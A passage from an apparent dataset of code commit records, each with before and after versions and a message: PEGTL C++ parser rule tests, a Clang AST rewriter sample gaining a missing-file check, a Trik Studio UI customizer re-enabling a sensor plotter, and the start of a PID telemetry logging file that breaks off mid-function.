result_type::success, 0 );\n verify_rule< rematch< plus< alnum >, success, seq< string< 'f', 'o', 'o' >, eof > > >( __LINE__, __FILE__, \"foo%\", result_type::success, 1 );\n verify_rule< rematch< plus< alnum >, success, seq< string< 'f', 'o', 'o' >, eof > > >( __LINE__, __FILE__, \"foo5\", result_type::local_failure, 4 );\n\n verify_rule< rematch< plus< alnum >, seq< string< 'f', 'o', 'o' >, eof >, success > >( __LINE__, __FILE__, \"foo\", result_type::success, 0 );\n verify_rule< rematch< plus< alnum >, seq< string< 'f', 'o', 'o' >, eof >, success > >( __LINE__, __FILE__, \"foo%\", result_type::success, 1 );\n verify_rule< rematch< plus< alnum >, seq< string< 'f', 'o', 'o' >, eof >, success > >( __LINE__, __FILE__, \"foo5\", result_type::local_failure, 4 );\n\n verify_rule< rematch< plus< alnum >, seq< string< 'f', 'o', 'o' >, eof >, string< 'f', 'o', 'o' > > >( __LINE__, __FILE__, \"foo\", result_type::success, 0 );\n verify_rule< rematch< plus< alnum >, seq< string< 'f', 'o', 'o' >, eof >, string< 'f', 'o', 'o' > > >( __LINE__, __FILE__, \"foo%\", result_type::success, 1 );\n verify_rule< rematch< plus< alnum >, seq< string< 'f', 'o', 'o' >, eof >, string< 'f', 'o', 'o' > > >( __LINE__, __FILE__, \"foo5\", result_type::local_failure, 4 );\n }\n\n} \/\/ namespace TAO_PEGTL_NAMESPACE\n\n#include \"main.hpp\"\n<commit_msg>More tests<commit_after>\/\/ Copyright (c) 2019-2020 Dr. Colin Hirsch and Daniel Frey\n\/\/ Please see LICENSE for license or visit https:\/\/github.com\/taocpp\/PEGTL\/\n\n#include \"test.hpp\"\n#include \"verify_analyze.hpp\"\n#include \"verify_rule.hpp\"\n\nnamespace TAO_PEGTL_NAMESPACE\n{\n void unit_test()\n {\n verify_rule< rematch< one< 'c' > > >( __LINE__, __FILE__, \"c\", result_type::success );\n verify_rule< rematch< one< 'c' > > >( __LINE__, __FILE__, \"a\", result_type::local_failure );\n verify_rule< rematch< one< 'c' > > >( __LINE__, __FILE__, \"b\", result_type::local_failure );\n verify_rule< rematch< one< 'c' > > >( __LINE__, __FILE__, \"cc\", result_type::success, 1 );\n verify_rule< rematch< one< 'c' > > >( __LINE__, __FILE__, \"bc\", result_type::local_failure );\n\n verify_analyze< rematch< alpha, digit > >( __LINE__, __FILE__, true, false );\n verify_analyze< rematch< opt< alpha >, digit > >( __LINE__, __FILE__, false, false );\n {\n struct foo\n : rematch< foo, alnum >\n {};\n verify_analyze< foo >( __LINE__, __FILE__, false, true );\n }\n {\n struct foo\n : rematch< alnum, foo >\n {};\n verify_analyze< foo >( __LINE__, __FILE__, true, true );\n }\n {\n struct foo\n : rematch< alnum, alpha, foo >\n {};\n verify_analyze< foo >( __LINE__, __FILE__, true, true );\n }\n verify_rule< rematch< alnum, digit > >( __LINE__, __FILE__, \"\", result_type::local_failure, 0 );\n verify_rule< rematch< alnum, digit > >( __LINE__, __FILE__, \"1\", result_type::success, 0 );\n verify_rule< rematch< alnum, digit > >( __LINE__, __FILE__, \"a\", result_type::local_failure, 1 );\n verify_rule< rematch< alnum, digit > >( __LINE__, __FILE__, \"%\", result_type::local_failure, 1 );\n verify_rule< rematch< alnum, digit > >( __LINE__, __FILE__, \"1%\", result_type::success, 1 );\n verify_rule< rematch< alnum, digit > >( __LINE__, __FILE__, \"a%\", result_type::local_failure, 2 );\n verify_rule< rematch< alnum, digit > >( __LINE__, __FILE__, \"12\", result_type::success, 1 );\n verify_rule< rematch< alnum, digit > >( __LINE__, __FILE__, \"1c\", result_type::success, 1 );\n\n verify_rule< rematch< alnum, digit, success > >( __LINE__, __FILE__, \"\", result_type::local_failure, 0 );\n verify_rule< rematch< alnum, digit, success > >( __LINE__, __FILE__, \"1\", result_type::success, 0 );\n verify_rule< rematch< alnum, digit, success > >( __LINE__, __FILE__, \"a\", result_type::local_failure, 1 );\n verify_rule< rematch< alnum, digit, success > >( __LINE__, __FILE__, \"%\", result_type::local_failure, 1 );\n verify_rule< rematch< alnum, digit, success > >( __LINE__, __FILE__, \"1%\", result_type::success, 1 );\n verify_rule< rematch< alnum, digit, success > >( __LINE__, __FILE__, \"a%\", result_type::local_failure, 2 );\n verify_rule< rematch< alnum, digit, success > >( __LINE__, __FILE__, \"12\", result_type::success, 1 );\n verify_rule< rematch< alnum, digit, success > >( __LINE__, __FILE__, \"1c\", result_type::success, 1 );\n\n verify_rule< rematch< alnum, success, digit > >( __LINE__, __FILE__, \"\", result_type::local_failure, 0 );\n verify_rule< rematch< alnum, success, digit > >( __LINE__, __FILE__, \"1\", result_type::success, 0 );\n verify_rule< rematch< alnum, success, digit > >( __LINE__, __FILE__, \"a\", result_type::local_failure, 1 );\n verify_rule< rematch< alnum, success, digit > >( __LINE__, __FILE__, \"%\", result_type::local_failure, 1 );\n verify_rule< rematch< alnum, success, digit > >( __LINE__, __FILE__, \"1%\", result_type::success, 1 );\n verify_rule< rematch< alnum, success, digit > >( __LINE__, __FILE__, \"a%\", result_type::local_failure, 2 );\n verify_rule< rematch< alnum, success, digit > >( __LINE__, __FILE__, \"12\", result_type::success, 1 );\n verify_rule< rematch< alnum, success, digit > >( __LINE__, __FILE__, \"1c\", result_type::success, 1 );\n\n verify_rule< rematch< plus< alnum >, digit > >( __LINE__, __FILE__, \"\", result_type::local_failure );\n verify_rule< rematch< plus< alnum >, digit > >( __LINE__, __FILE__, \"1\", result_type::success );\n verify_rule< rematch< plus< alnum >, digit > >( __LINE__, __FILE__, \"a\", result_type::local_failure );\n verify_rule< rematch< plus< alnum >, digit > >( __LINE__, __FILE__, \"%\", result_type::local_failure );\n verify_rule< rematch< plus< alnum >, digit > >( __LINE__, __FILE__, \"1%\", result_type::success, 1 );\n verify_rule< rematch< plus< alnum >, digit > >( __LINE__, __FILE__, \"a%\", result_type::local_failure );\n verify_rule< rematch< plus< alnum >, digit > >( __LINE__, __FILE__, \"12\", result_type::success, 0 );\n verify_rule< rematch< plus< alnum >, digit > >( __LINE__, __FILE__, \"1c\", result_type::success, 0 );\n verify_rule< rematch< plus< alnum >, digit > >( __LINE__, __FILE__, \"aa\", result_type::local_failure, 2 );\n verify_rule< rematch< plus< alnum >, digit > >( __LINE__, __FILE__, \"a1\", result_type::local_failure, 2 );\n verify_rule< rematch< plus< alnum >, digit > >( __LINE__, __FILE__, \"%%\", result_type::local_failure, 2 );\n\n verify_rule< rematch< plus< alnum >, plus< digit > > >( __LINE__, __FILE__, \"\", result_type::local_failure, 0 );\n verify_rule< rematch< plus< alnum >, plus< digit > > >( __LINE__, __FILE__, \"1\", result_type::success, 0 );\n verify_rule< rematch< plus< alnum >, plus< digit > > >( __LINE__, __FILE__, \"a\", result_type::local_failure, 1 );\n verify_rule< rematch< plus< alnum >, plus< digit > > >( __LINE__, __FILE__, \"%\", result_type::local_failure, 1 );\n verify_rule< rematch< plus< alnum >, plus< digit > > >( __LINE__, __FILE__, \"1%\", result_type::success, 1 );\n verify_rule< rematch< plus< alnum >, plus< digit > > >( __LINE__, __FILE__, \"a%\", result_type::local_failure );\n verify_rule< rematch< plus< alnum >, plus< digit > > >( __LINE__, __FILE__, \"12\", result_type::success, 0 );\n verify_rule< rematch< plus< alnum >, plus< digit > > >( __LINE__, __FILE__, \"1c\", result_type::success, 0 );\n verify_rule< rematch< plus< alnum >, plus< digit > > >( __LINE__, __FILE__, \"aa\", result_type::local_failure, 2 );\n verify_rule< rematch< plus< alnum >, plus< digit > > >( __LINE__, __FILE__, \"a1\", result_type::local_failure, 2 );\n verify_rule< rematch< plus< alnum >, plus< digit > > >( __LINE__, __FILE__, \"%%\", result_type::local_failure, 2 );\n verify_rule< rematch< plus< alnum >, plus< digit > > >( __LINE__, __FILE__, \"aaa\", result_type::local_failure, 3 );\n verify_rule< rematch< plus< alnum >, plus< digit > > >( __LINE__, __FILE__, \"aaa%\", result_type::local_failure, 4 );\n verify_rule< rematch< plus< alnum >, plus< digit > > >( __LINE__, __FILE__, \"111\", result_type::success, 0 );\n verify_rule< rematch< plus< alnum >, plus< digit > > >( __LINE__, __FILE__, \"111%\", result_type::success, 1 );\n verify_rule< rematch< plus< alnum >, plus< digit > > >( __LINE__, __FILE__, \"a1a\", result_type::local_failure, 3 );\n verify_rule< rematch< plus< alnum >, plus< digit > > >( __LINE__, __FILE__, \"1a1\", result_type::success, 0 );\n\n verify_rule< rematch< plus< alnum >, seq< string< 'f', 'o', 'o' >, eof > > >( __LINE__, __FILE__, \"foo\", result_type::success, 0 );\n verify_rule< rematch< plus< alnum >, seq< string< 'f', 'o', 'o' >, eof > > >( __LINE__, __FILE__, \"foo%\", result_type::success, 1 );\n verify_rule< rematch< plus< alnum >, seq< string< 'f', 'o', 'o' >, eof > > >( __LINE__, __FILE__, \"foo5\", result_type::local_failure, 4 );\n\n verify_rule< rematch< plus< alnum >, success, seq< string< 'f', 'o', 'o' >, eof > > >( __LINE__, __FILE__, \"foo\", result_type::success, 0 );\n verify_rule< rematch< plus< alnum >, success, seq< string< 'f', 'o', 'o' >, eof > > >( __LINE__, __FILE__, \"foo%\", result_type::success, 1 );\n verify_rule< rematch< plus< alnum >, success, seq< string< 'f', 'o', 'o' >, eof > > >( __LINE__, __FILE__, \"foo5\", result_type::local_failure, 4 );\n\n verify_rule< rematch< plus< alnum >, seq< string< 'f', 'o', 'o' >, eof >, success > >( __LINE__, __FILE__, \"foo\", result_type::success, 0 );\n verify_rule< rematch< plus< alnum >, seq< string< 'f', 'o', 'o' >, eof >, success > >( __LINE__, __FILE__, \"foo%\", result_type::success, 1 );\n verify_rule< rematch< plus< alnum >, seq< string< 'f', 'o', 'o' >, eof >, success > >( __LINE__, __FILE__, \"foo5\", result_type::local_failure, 4 );\n\n verify_rule< rematch< plus< alnum >, seq< string< 'f', 'o', 'o' >, eof >, string< 'f', 'o', 'o' > > >( __LINE__, __FILE__, \"foo\", result_type::success, 0 );\n verify_rule< rematch< plus< alnum >, seq< string< 'f', 'o', 'o' >, eof >, string< 'f', 'o', 'o' > > >( __LINE__, __FILE__, \"foo%\", result_type::success, 1 );\n verify_rule< rematch< plus< alnum >, seq< string< 'f', 'o', 'o' >, eof >, string< 'f', 'o', 'o' > > >( __LINE__, __FILE__, \"foo5\", result_type::local_failure, 4 );\n }\n\n} \/\/ namespace TAO_PEGTL_NAMESPACE\n\n#include \"main.hpp\"\n<|endoftext|>"} {"text":"<commit_before>\/\/-------------------------------------------------------------------------\n\/\/\n\/\/ rewritersample.cpp: Source-to-source transformation sample with Clang,\n\/\/ using Rewriter - the code rewriting interface.\n\/\/\n\/\/ Eli Bendersky (eliben@gmail.com)\n\/\/ This code is in the public domain\n\/\/\n#include <cstdio>\n#include <string>\n#include <sstream>\n\n#include \"clang\/AST\/ASTConsumer.h\"\n#include \"clang\/AST\/RecursiveASTVisitor.h\"\n#include \"clang\/Basic\/Diagnostic.h\"\n#include \"clang\/Basic\/FileManager.h\"\n#include \"clang\/Basic\/SourceManager.h\"\n#include \"clang\/Basic\/TargetOptions.h\"\n#include \"clang\/Basic\/TargetInfo.h\"\n#include \"clang\/Frontend\/CompilerInstance.h\"\n#include \"clang\/Lex\/Preprocessor.h\"\n#include \"clang\/Parse\/ParseAST.h\"\n#include \"clang\/Rewrite\/Core\/Rewriter.h\"\n#include \"clang\/Rewrite\/Frontend\/Rewriters.h\"\n#include \"llvm\/Support\/Host.h\"\n#include \"llvm\/Support\/raw_ostream.h\"\n\nusing namespace clang;\nusing namespace std;\n\n\/\/ By implementing RecursiveASTVisitor, we can specify which AST nodes\n\/\/ we're interested in by overriding relevant methods.\nclass MyASTVisitor : public RecursiveASTVisitor<MyASTVisitor> {\npublic:\n MyASTVisitor(Rewriter &R) : TheRewriter(R) {}\n\n bool VisitStmt(Stmt *s) {\n \/\/ Only care about If statements.\n if (isa<IfStmt>(s)) {\n IfStmt *IfStatement = cast<IfStmt>(s);\n Stmt *Then = IfStatement->getThen();\n\n TheRewriter.InsertText(Then->getLocStart(), \"\/\/ the 'if' part\\n\", true,\n true);\n\n Stmt *Else = IfStatement->getElse();\n if (Else)\n TheRewriter.InsertText(Else->getLocStart(), \"\/\/ the 'else' part\\n\",\n true, true);\n }\n\n return true;\n }\n\n bool VisitFunctionDecl(FunctionDecl *f) {\n \/\/ Only function definitions (with bodies), not declarations.\n if (f->hasBody()) {\n Stmt *FuncBody = f->getBody();\n\n \/\/ Type name as string\n QualType QT = f->getResultType();\n string TypeStr = QT.getAsString();\n\n \/\/ Function name\n DeclarationName DeclName = f->getNameInfo().getName();\n string FuncName = DeclName.getAsString();\n\n \/\/ Add comment before\n stringstream SSBefore;\n SSBefore << \"\/\/ Begin function \" << FuncName << \" returning \" << TypeStr\n << \"\\n\";\n SourceLocation ST = f->getSourceRange().getBegin();\n TheRewriter.InsertText(ST, SSBefore.str(), true, true);\n\n \/\/ And after\n stringstream SSAfter;\n SSAfter << \"\\n\/\/ End function \" << FuncName << \"\\n\";\n ST = FuncBody->getLocEnd().getLocWithOffset(1);\n TheRewriter.InsertText(ST, SSAfter.str(), true, true);\n }\n\n return true;\n }\n\nprivate:\n void AddBraces(Stmt *s);\n\n Rewriter &TheRewriter;\n};\n\n\/\/ Implementation of the ASTConsumer interface for reading an AST produced\n\/\/ by the Clang parser.\nclass MyASTConsumer : public ASTConsumer {\npublic:\n MyASTConsumer(Rewriter &R) : Visitor(R) {}\n\n \/\/ Override the method that gets called for each parsed top-level\n \/\/ declaration.\n virtual bool HandleTopLevelDecl(DeclGroupRef DR) {\n for (DeclGroupRef::iterator b = DR.begin(), e = DR.end(); b != e; ++b)\n \/\/ Traverse the declaration using our AST visitor.\n Visitor.TraverseDecl(*b);\n return true;\n }\n\nprivate:\n MyASTVisitor Visitor;\n};\n\nint main(int argc, char *argv[]) {\n if (argc != 2) {\n llvm::errs() << \"Usage: rewritersample <filename>\\n\";\n return 1;\n }\n\n \/\/ CompilerInstance will hold the instance of the Clang compiler for us,\n \/\/ managing the various objects needed to run the compiler.\n CompilerInstance TheCompInst;\n TheCompInst.createDiagnostics();\n\n \/\/ Initialize target info with the default triple for our platform.\n TargetOptions *TO = new TargetOptions;\n TO->Triple = llvm::sys::getDefaultTargetTriple();\n TargetInfo *TI =\n TargetInfo::CreateTargetInfo(TheCompInst.getDiagnostics(), TO);\n TheCompInst.setTarget(TI);\n\n TheCompInst.createFileManager();\n FileManager &FileMgr = TheCompInst.getFileManager();\n TheCompInst.createSourceManager(FileMgr);\n SourceManager &SourceMgr = TheCompInst.getSourceManager();\n TheCompInst.createPreprocessor();\n TheCompInst.createASTContext();\n\n \/\/ A Rewriter helps us manage the code rewriting task.\n Rewriter TheRewriter;\n TheRewriter.setSourceMgr(SourceMgr, TheCompInst.getLangOpts());\n\n \/\/\/\/ Set the main file handled by the source manager to the input file.\n const FileEntry *FileIn = FileMgr.getFile(argv[1]);\n SourceMgr.createMainFileID(FileIn);\n TheCompInst.getDiagnosticClient().BeginSourceFile(\n TheCompInst.getLangOpts(), &TheCompInst.getPreprocessor());\n\n \/\/ Create an AST consumer instance which is going to get called by\n \/\/ ParseAST.\n MyASTConsumer TheConsumer(TheRewriter);\n\n \/\/ Parse the file to AST, registering our consumer as the AST consumer.\n ParseAST(TheCompInst.getPreprocessor(), &TheConsumer,\n TheCompInst.getASTContext());\n\n \/\/\/\/ At this point the rewriter's buffer should be full with the rewritten\n \/\/\/\/ file contents.\n const RewriteBuffer *RewriteBuf =\n TheRewriter.getRewriteBufferFor(SourceMgr.getMainFileID());\n llvm::outs() << string(RewriteBuf->begin(), RewriteBuf->end());\n\n return 0;\n}\n<commit_msg>Resilience in case of not finding the input file<commit_after>\/\/-------------------------------------------------------------------------\n\/\/\n\/\/ rewritersample.cpp: Source-to-source transformation sample with Clang,\n\/\/ using Rewriter - the code rewriting interface.\n\/\/\n\/\/ Eli Bendersky (eliben@gmail.com)\n\/\/ This code is in the public domain\n\/\/\n#include <cstdio>\n#include <string>\n#include <sstream>\n\n#include \"clang\/AST\/ASTConsumer.h\"\n#include \"clang\/AST\/RecursiveASTVisitor.h\"\n#include \"clang\/Basic\/Diagnostic.h\"\n#include \"clang\/Basic\/FileManager.h\"\n#include \"clang\/Basic\/SourceManager.h\"\n#include \"clang\/Basic\/TargetOptions.h\"\n#include \"clang\/Basic\/TargetInfo.h\"\n#include \"clang\/Frontend\/CompilerInstance.h\"\n#include \"clang\/Lex\/Preprocessor.h\"\n#include \"clang\/Parse\/ParseAST.h\"\n#include \"clang\/Rewrite\/Core\/Rewriter.h\"\n#include \"clang\/Rewrite\/Frontend\/Rewriters.h\"\n#include \"llvm\/Support\/Host.h\"\n#include \"llvm\/Support\/raw_ostream.h\"\n\nusing namespace clang;\nusing namespace std;\n\n\/\/ By implementing RecursiveASTVisitor, we can specify which AST nodes\n\/\/ we're interested in by overriding relevant methods.\nclass MyASTVisitor : public RecursiveASTVisitor<MyASTVisitor> {\npublic:\n MyASTVisitor(Rewriter &R) : TheRewriter(R) {}\n\n bool VisitStmt(Stmt *s) {\n \/\/ Only care about If statements.\n if (isa<IfStmt>(s)) {\n IfStmt *IfStatement = cast<IfStmt>(s);\n Stmt *Then = IfStatement->getThen();\n\n TheRewriter.InsertText(Then->getLocStart(), \"\/\/ the 'if' part\\n\", true,\n true);\n\n Stmt *Else = IfStatement->getElse();\n if (Else)\n TheRewriter.InsertText(Else->getLocStart(), \"\/\/ the 'else' part\\n\",\n true, true);\n }\n\n return true;\n }\n\n bool VisitFunctionDecl(FunctionDecl *f) {\n \/\/ Only function definitions (with bodies), not declarations.\n if (f->hasBody()) {\n Stmt *FuncBody = f->getBody();\n\n \/\/ Type name as string\n QualType QT = f->getResultType();\n string TypeStr = QT.getAsString();\n\n \/\/ Function name\n DeclarationName DeclName = f->getNameInfo().getName();\n string FuncName = DeclName.getAsString();\n\n \/\/ Add comment before\n stringstream SSBefore;\n SSBefore << \"\/\/ Begin function \" << FuncName << \" returning \" << TypeStr\n << \"\\n\";\n SourceLocation ST = f->getSourceRange().getBegin();\n TheRewriter.InsertText(ST, SSBefore.str(), true, true);\n\n \/\/ And after\n stringstream SSAfter;\n SSAfter << \"\\n\/\/ End function \" << FuncName << \"\\n\";\n ST = FuncBody->getLocEnd().getLocWithOffset(1);\n TheRewriter.InsertText(ST, SSAfter.str(), true, true);\n }\n\n return true;\n }\n\nprivate:\n void AddBraces(Stmt *s);\n\n Rewriter &TheRewriter;\n};\n\n\/\/ Implementation of the ASTConsumer interface for reading an AST produced\n\/\/ by the Clang parser.\nclass MyASTConsumer : public ASTConsumer {\npublic:\n MyASTConsumer(Rewriter &R) : Visitor(R) {}\n\n \/\/ Override the method that gets called for each parsed top-level\n \/\/ declaration.\n virtual bool HandleTopLevelDecl(DeclGroupRef DR) {\n for (DeclGroupRef::iterator b = DR.begin(), e = DR.end(); b != e; ++b)\n \/\/ Traverse the declaration using our AST visitor.\n Visitor.TraverseDecl(*b);\n return true;\n }\n\nprivate:\n MyASTVisitor Visitor;\n};\n\nint main(int argc, char *argv[]) {\n if (argc != 2) {\n llvm::errs() << \"Usage: rewritersample <filename>\\n\";\n return 1;\n }\n\n \/\/ CompilerInstance will hold the instance of the Clang compiler for us,\n \/\/ managing the various objects needed to run the compiler.\n CompilerInstance TheCompInst;\n TheCompInst.createDiagnostics();\n\n \/\/ Initialize target info with the default triple for our platform.\n TargetOptions *TO = new TargetOptions;\n TO->Triple = llvm::sys::getDefaultTargetTriple();\n TargetInfo *TI =\n TargetInfo::CreateTargetInfo(TheCompInst.getDiagnostics(), TO);\n TheCompInst.setTarget(TI);\n\n TheCompInst.createFileManager();\n FileManager &FileMgr = TheCompInst.getFileManager();\n TheCompInst.createSourceManager(FileMgr);\n SourceManager &SourceMgr = TheCompInst.getSourceManager();\n TheCompInst.createPreprocessor();\n TheCompInst.createASTContext();\n\n \/\/ A Rewriter helps us manage the code rewriting task.\n Rewriter TheRewriter;\n TheRewriter.setSourceMgr(SourceMgr, TheCompInst.getLangOpts());\n\n \/\/\/\/ Set the main file handled by the source manager to the input file.\n const FileEntry *FileIn = FileMgr.getFile(argv[1]);\n if (!FileIn) {\n llvm::errs() << \"Input file does not exist!\\n\";\n return 1;\n }\n SourceMgr.createMainFileID(FileIn);\n TheCompInst.getDiagnosticClient().BeginSourceFile(\n TheCompInst.getLangOpts(), &TheCompInst.getPreprocessor());\n\n \/\/ Create an AST consumer instance which is going to get called by\n \/\/ ParseAST.\n MyASTConsumer TheConsumer(TheRewriter);\n\n \/\/ Parse the file to AST, registering our consumer as the AST consumer.\n ParseAST(TheCompInst.getPreprocessor(), &TheConsumer,\n TheCompInst.getASTContext());\n\n \/\/\/\/ At this point the rewriter's buffer should be full with the rewritten\n \/\/\/\/ file contents.\n const RewriteBuffer *RewriteBuf =\n TheRewriter.getRewriteBufferFor(SourceMgr.getMainFileID());\n llvm::outs() << string(RewriteBuf->begin(), RewriteBuf->end());\n\n return 0;\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"customizer.h\"\n\n#include <QtWidgets\/QApplication>\n\n#include <qrkernel\/settingsManager.h>\n\nusing namespace interpreterCore;\n\nQString Customizer::windowTitle() const\n{\n\treturn QObject::tr(\"Trik Studio\") + \" \" + productVersion();\n}\n\nQIcon Customizer::applicationIcon() const\n{\n\treturn QIcon(\":\/icons\/icon.png\");\n}\n\nQImage Customizer::applicationLogo() const\n{\n\treturn QImage(\":\/icons\/splashscreen.png\");\n}\n\nQString Customizer::productVersion() const\n{\n\t\/\/\/ @todo other storage for it?\n\treturn \"3.0.0 α10\";\n}\n\nQString Customizer::aboutText() const\n{\n\treturn \"<b>\" + windowTitle() + \"<b><br><br><a href=\\\"http:\/\/robots.qreal.ru\/\\\">http:\/\/robots.qreal.ru\/<\/a>\";\n}\n\nQString Customizer::examplesDirectory() const\n{\n\treturn QApplication::applicationDirPath() + \"\/examples\";\n}\n\nbool Customizer::showInterpeterButton() const\n{\n\treturn false;\n}\n\nvoid Customizer::customizeDocks(qReal::gui::MainWindowDockInterface *dockInterface)\n{\n\tmDockInterface = dockInterface;\n\tdockInterface->logicalModelDock()->hide();\n\tdockInterface->tabifyDockWidget(dockInterface->graphicalModelDock(), dockInterface->propertyEditorDock());\n\tdockInterface->graphicalModelDock()->setWindowTitle(QObject::tr(\"Blocks\"));\n}\n\nvoid Customizer::placeDevicesConfig(QWidget *devicesWidget)\n{\n\tQDockWidget *devicesDock = produceDockWidget(QObject::tr(\"Configure devices\"), devicesWidget);\n\tmDockInterface->addDockWidget(Qt::LeftDockWidgetArea, devicesDock);\n}\n\nvoid Customizer::placeWatchPlugins(QDockWidget *watchWindow, QWidget *graphicsWatch)\n{\n\tmDockInterface->addDockWidget(Qt::LeftDockWidgetArea, watchWindow);\n\twatchWindow->setFloating(false);\n\t\/\/\/ @todo: Restore plotter when everything will be fine...\n\tQ_UNUSED(graphicsWatch)\n\t\/\/ QDockWidget *graphWatchDock = produceDockWidget(QObject::tr(\"Sensors state\"), graphicsWatch);\n\t\/\/ mDockInterface->addDockWidget(Qt::LeftDockWidgetArea, graphWatchDock);\n\n\t\/\/ mDockInterface->tabifyDockWidget(watchWindow, graphWatchDock);\n}\n\nQDockWidget *Customizer::produceDockWidget(QString const &title, QWidget *content) const\n{\n\tQDockWidget *dock = new QDockWidget(title);\n\tdock->setWidget(content);\n\treturn dock;\n}\n\nQString Customizer::userPaletteTitle() const\n{\n\treturn QObject::tr(\"Subprograms\");\n}\n\nQString Customizer::userPaletteDescription() const\n{\n\treturn QObject::tr(\"The list of all declared subprograms in the project\");\n}\n<commit_msg>Sensors plotter enabled back<commit_after>#include \"customizer.h\"\n\n#include <QtWidgets\/QApplication>\n\n#include <qrkernel\/settingsManager.h>\n\nusing namespace interpreterCore;\n\nQString Customizer::windowTitle() const\n{\n\treturn QObject::tr(\"Trik Studio\") + \" \" + productVersion();\n}\n\nQIcon Customizer::applicationIcon() const\n{\n\treturn QIcon(\":\/icons\/icon.png\");\n}\n\nQImage Customizer::applicationLogo() const\n{\n\treturn QImage(\":\/icons\/splashscreen.png\");\n}\n\nQString Customizer::productVersion() const\n{\n\t\/\/\/ @todo other storage for it?\n\treturn \"3.0.0 α10\";\n}\n\nQString Customizer::aboutText() const\n{\n\treturn \"<b>\" + windowTitle() + \"<b><br><br><a href=\\\"http:\/\/robots.qreal.ru\/\\\">http:\/\/robots.qreal.ru\/<\/a>\";\n}\n\nQString Customizer::examplesDirectory() const\n{\n\treturn QApplication::applicationDirPath() + \"\/examples\";\n}\n\nbool Customizer::showInterpeterButton() const\n{\n\treturn false;\n}\n\nvoid Customizer::customizeDocks(qReal::gui::MainWindowDockInterface *dockInterface)\n{\n\tmDockInterface = dockInterface;\n\tdockInterface->logicalModelDock()->hide();\n\tdockInterface->tabifyDockWidget(dockInterface->graphicalModelDock(), dockInterface->propertyEditorDock());\n\tdockInterface->graphicalModelDock()->setWindowTitle(QObject::tr(\"Blocks\"));\n}\n\nvoid Customizer::placeDevicesConfig(QWidget *devicesWidget)\n{\n\tQDockWidget *devicesDock = produceDockWidget(QObject::tr(\"Configure devices\"), devicesWidget);\n\tmDockInterface->addDockWidget(Qt::LeftDockWidgetArea, devicesDock);\n}\n\nvoid Customizer::placeWatchPlugins(QDockWidget *watchWindow, QWidget *graphicsWatch)\n{\n\tmDockInterface->addDockWidget(Qt::LeftDockWidgetArea, watchWindow);\n\twatchWindow->setFloating(false);\n\n\tQDockWidget *graphWatchDock = produceDockWidget(QObject::tr(\"Sensors state\"), graphicsWatch);\n\tmDockInterface->addDockWidget(Qt::LeftDockWidgetArea, graphWatchDock);\n\n\tmDockInterface->tabifyDockWidget(watchWindow, graphWatchDock);\n}\n\nQDockWidget *Customizer::produceDockWidget(QString const &title, QWidget *content) const\n{\n\tQDockWidget *dock = new QDockWidget(title);\n\tdock->setWidget(content);\n\treturn dock;\n}\n\nQString Customizer::userPaletteTitle() const\n{\n\treturn QObject::tr(\"Subprograms\");\n}\n\nQString Customizer::userPaletteDescription() const\n{\n\treturn QObject::tr(\"The list of all declared subprograms in the project\");\n}\n<|endoftext|>"} {"text":"<commit_before>#include <main.h>\n#include <pidData.h>\n\n\/* *** Circular buffer for PID samples queued for logging *** *\/\n\/\/ Indexes into pidSamples; Marks index of next data point to transmit to audacy\nvolatile unsigned int pidSentDataPointer = 0;\n\/\/ If sentDataPointer == dataPointer, buffer is empty\n\/\/ If dataPointer == sentDataPointer - 1, buffer is full\nvolatile unsigned int pidDataPointer = 0; \/\/ Marks index of next place to read into\nvolatile unsigned int pidSamplesSent = 0;\nvolatile pidSample pidSamples[PID_BUFFER_SIZE + 10]; \/\/ Add some extra space on the end in case we overflow\nvolatile bool sampling = false;\nelapsedMicros timeSinceLastRead;\n\nvolatile pidDumpPacket_t pidDumpPacket;\nvolatile uint32_t* pidDumpPacketUints = (uint32_t *) &(pidDumpPacket.header);\n\nvolatile uint16_t pidPacketChecksum = 0;\nvolatile unsigned int pidPacketBodyPointer = 0;\nvolatile bool pidPacketReady = false;\n\n\/\/ Telemetry\nvolatile unsigned int pidSamplesRead = 0;\nvolatile unsigned int pidSamplesQueued = 0;\n\nvoid write32WithChecksum(const uint16_t& in, volatile uint32_t& out, volatile uint16_t& pidBufferChecksum) {\n pidBufferChecksum += in;\n out = in;\n}\n\n\/\/ Checksum is updated as samples are pushed into this buffer\nvoid writeExpandedPidSampleWithChecksum(const pidSample* in, volatile expandedPidSample* out, volatile uint16_t& pidBufferChecksum) {\n assert(sizeof(pidSample) * 2 == sizeof(expandedPidSample));\n assert(sizeof(pidSample) == 4 * 4 * 3);\n unsigned int num_uint32 = sizeof(pidSample) \/ 4;\n for (unsigned int i = 0; i < num_uint32; i++) {\n uint32_t num = ((uint32_t *) in)[i];\n ((uint32_t *) out)[2 * i] = num >> 16; \/\/ msb\n pidBufferChecksum += num >> 16;\n ((uint32_t *) out)[2 * i + 1] = num % (1 << 16); \/\/ lsb\n pidBufferChecksum += num % (1 << 16);\n }\n}\n\nvoid populateHeader() {\n write32WithChecksum(0, pidDumpPacket.p_x, pidPacketChecksum);\n write32WithChecksum(1, pidDumpPacket.i_x, pidPacketChecksum);\n write32WithChecksum(2, pidDumpPacket.d_x, pidPacketChecksum);\n write32WithChecksum(3, pidDumpPacket.p_y, pidPacketChecksum);\n write32WithChecksum(4, pidDumpPacket.i_y, pidPacketChecksum);\n write32WithChecksum(5, pidDumpPacket.d_y, pidPacketChecksum);\n write32WithChecksum(6, pidDumpPacket.last_x, pidPacketChecksum);\n write32WithChecksum(7, pidDumpPacket.last_y, pidPacketChecksum);\n write32WithChecksum(8, pidDumpPacket.set_x, pidPacketChecksum);\n write32WithChecksum(9, pidDumpPacket.set_y, pidPacketChecksum);\n}\n\nbool pidBufferEmpty() {\n return (pidSentDataPointer % PID_BUFFER_SIZE) == (pidDataPointer % PID_BUFFER_SIZE);\n}\n\nbool pidBufferFull() {\n return ((pidDataPointer + 1) % PID_BUFFER_SIZE) == (pidSentDataPointer % PID_BUFFER_SIZE);\n}\n\n\/\/ Runs in main's setup()\nvoid pidDataSetup() {\n (void) assert(((unsigned int) pidDumpPacket.body) % 4 == 0); \/\/ Check offset; Misaligned data may segfault at 0x20000000\n (void) assert(((unsigned int) pidSamples) % 4 == 0);\n debugPrintf(\"pidSamples location (we want this to be far from 0x2000000): %p to %p\\n\", pidSamples, pidSamples + PID_BUFFER_SIZE);\n debugPrintf(\"pidDumpPacket location (we want this to be far from 0x2000000): memory begins %p, samples %p to %p\\n\", &pidDumpPacket, pidDumpPacket.body, pidDumpPacket.abcdFooter + SpiSlave::ABCD_BUFFER_SIZE);\n pinMode(PID_DATA_READY_PIN, OUTPUT);\n for (int i = 0; i < 10; i++) {\n 